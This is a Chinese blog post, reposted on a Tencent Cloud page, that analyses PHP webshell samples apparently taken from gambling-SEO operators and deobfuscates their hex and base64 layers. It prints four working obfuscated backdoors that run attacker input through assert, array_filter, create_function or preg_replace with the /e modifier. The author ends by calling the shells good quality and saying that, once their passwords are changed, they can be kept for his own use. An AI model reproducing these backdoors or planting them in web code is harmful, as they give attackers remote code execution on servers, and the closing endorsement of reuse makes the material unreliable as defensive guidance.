一次freebuf溯源引发的木马后门分析

这篇文章是之前发在博客的, 我特么的=-=今天有事耽搁了,另外一篇文章的排版没出来,为了拿原创的邀请。再发一遍吧。。下面是正文...

最近Freebuf的某作者发布这篇文章真的是让人炸锅了,几乎是所有博彩seo流量的源头。没想到留后门这么好用,以后我也各个论坛发一些免杀木马了。

其次作者自求多福吧,不要让人拿刀砍你J。

由于我睡醒就被基友的一通电话叫醒了,赶紧下载几个木马样本分析分析,看看所谓黑产牛的思路。

果不其然,不到两个小时,那些shell掉光光。本人也是对这个东西没什么兴趣,毕竟不搞黑产。

拿到样本其实一个下午已经看得差不多了,可惜有一些事,文章耽搁了。

首先看到shell有很多这个php的后门,就选择了这个看4589.php的这木马。

大致看了下代码,发现了一个正则函数,preg_replace().

核心的代码,经过了加密。

程序函数的执行顺序是从里层到外层的,粗略的看下,最里层应该是base64加密,可是外围的base64_decode等字符也被加密或者打乱。

所以其进行了还原,外围的函数又被以如下图的方式加密。

\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

虽然js很差劲,可是CTF的经验让我看出这段字符串应该是ASCII码的十六进制,搞安全的要对这些东西保持敏感性哈。

果然,将前几位字符串对照下面的ASCII码表就可以得出 eval。但是没有这么多的时间去一个一个找,精力不应该放在做重复的事情上。

于是想办法转化之。但是找不到好的工具来转化。本以为这款神器可以的=-=。

于是只能写端脚本实现了。

发现直接用js就能实现输出了,这是最简便的代码。如果发现更简单的代码,那么,欢迎来打脸。(just kidding,小菜希望能学到东西)

<script>

varencode="\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28";

function decode(){

document.getElementById('code').value= encode;

}

</script>

<divalign="center">

<textarea id=codecols=80 rows=20 >

</textarea>

<inputtype=button onclick=decode() value=解码>

</div>

解码后:

后面还有一截:

函数体的括号

现在我们要做的就是对其解密后用正则匹配然后还原出木马的源码了。

还记得上一篇木马分析的解密脚本么?

这次只不过他用了不是gzdeflate这个函数,他配合的是gzuncompress这个函数。

对比了两个函数发现大同小异….

感觉老司机的弯都是一样的。

替换了上次那个函数得到了源码。

查了一下手册,preg_replace这个函数。

之前还在纠结为什么还要匹配,以为是打乱字符,原来是在贪婪模式下,加e修饰符引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

外围加了一个eval执行。

对部分base64加密的代码小片段进行整理

整体浏览一遍,没有发现后门。

以下是他们的后门特征

<?php

@$A='Acc';$p='_';$o='PO';$s='S';$t='T';$a='as';$b='sert';$Acc=$a.$b;@${$A}(${$p.$o.$s.$t}[ziiuioxs]);

echo'error';exit;?>

<?php

@$ksvSGu= "\x73tr\x5f\x72e\x70l\x61\x63e";

@$xRec= @$ksvSGu('wcaSq','','awcaSqrrwcaSqawcaSqywcaSq_filwcaSqter');

@$SOet= @$ksvSGu('wZTB','','aswZTBsewZTBrwZTBt');

@$xRec((array)@$_REQUEST['rretgscr'],@$SOet);

?>

<?php

if($_GET['jumpvv']){

$tu="TVFsnZG9vcnB5J";

$mzd="10pOwoK";

$fc="Cg";

$tnz = str_replace("rn","","rnstrnrrn_rrnernprnlrnarncrne");

$nu="pqldmqFsKCRfUE9";

$qwb = $tnz("u", "", "ubuausue6u4u_udueucoudue");

$lcq = $tnz("j","","jcrjejatej_jfujnjcjtjiojn");

$htx = $lcq('', $qwb($tnz("q", "",$fc.$nu.$tu.$mzd))); $htx();}

?>

<?php

@$EuTsNl="p"."r"."eg_r"."epla"."c"."e";

@$EuTsNl("/[email]/e",$_POST['iiaqffg'],"error");

?>

发现这些马儿质量可以的

修改密码之后,又可以拿来收藏使用了。

原文发布于微信公众号 - 晨星先生(MoXuanIT)

原文发表时间:2016-12-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Python研发

设计模式 -- 常用设计模式

                                  ——可复用面向对象软件的基础

33510
来自专栏java一日一条

Java高级软件工程师面试考纲

如果要应聘高级开发工程师职务,仅仅懂得Java的基础知识是远远不够的,还必须懂得常用数据结构、算法、网络、操作系统等知识。因此本文不会讲解具体的技术,笔者综合自...

7510
来自专栏IT可乐

深入理解计算机系统(5.1)------优化程序性能

  你能获得的对程序最大的加速比就是当你第一次让它工作起来的时候。   在讲解如何优化程序性能之前,我们首先要明确写程序最主要的目标就是使它在所有可能的情况下都...

248100
来自专栏Java编程技术

UML建模(类图)

类图是面向对象系统建模中重要的图,是定义其它图的基础。类图主要是用来展现软件系统中的类、接口以及它们之间的静态结构。

14820
来自专栏后端技术探索

php进阶

基本数据类型和数组都为真复制,即为真副本,当属性为对象时,为假复制,改变副本仍会影响原对象.解决方案:

17310
来自专栏Java呓语

策略模式(分离算法,选择实现)

如果您是第一次阅读我的设计模式系列文章,建议先阅读设计模式开篇,希望能得到您宝贵的建议。

10730
来自专栏tkokof 的技术,小趣及杂念

iTween那些事儿(二)

  上次我们简单浏览了一番iTween的使用和原理,这次我们换个角度,转而看看iTween目前存在的一些缺陷以及一点点可能的改进之处,当然,这些所谓的缺陷或者改...

7210
来自专栏后端技术探索

业务id转密文短链的一种实现思路

买家通过电商app下单后,会受到一条短信,短信内容中包括改订单详情页面的h5地址连接,因为是出现在短信中,所以对连接有要求:1.尽量短;2.安全性考虑,订单在数...

10130
来自专栏数据小魔方

高级筛选到底有多“高级”!

今天跟大家分享excel筛选功能中隐藏的高级筛选功能! excel中的筛选窗口中,一直隐藏着一个不起眼的小菜单——高级:(如下图) ? 按照微软软件一贯风格,藏...

35450
来自专栏数据结构与算法

2017 清北学堂 Day 6终极考试报告

预计分数: 100+70+70 = 240 实际假分数 : 40+80+70= 190  in cena(好吧不得不承认这个分数,,,,,,=.=) 实际真分数...

32930

扫码关注云+社区

领取腾讯云代金券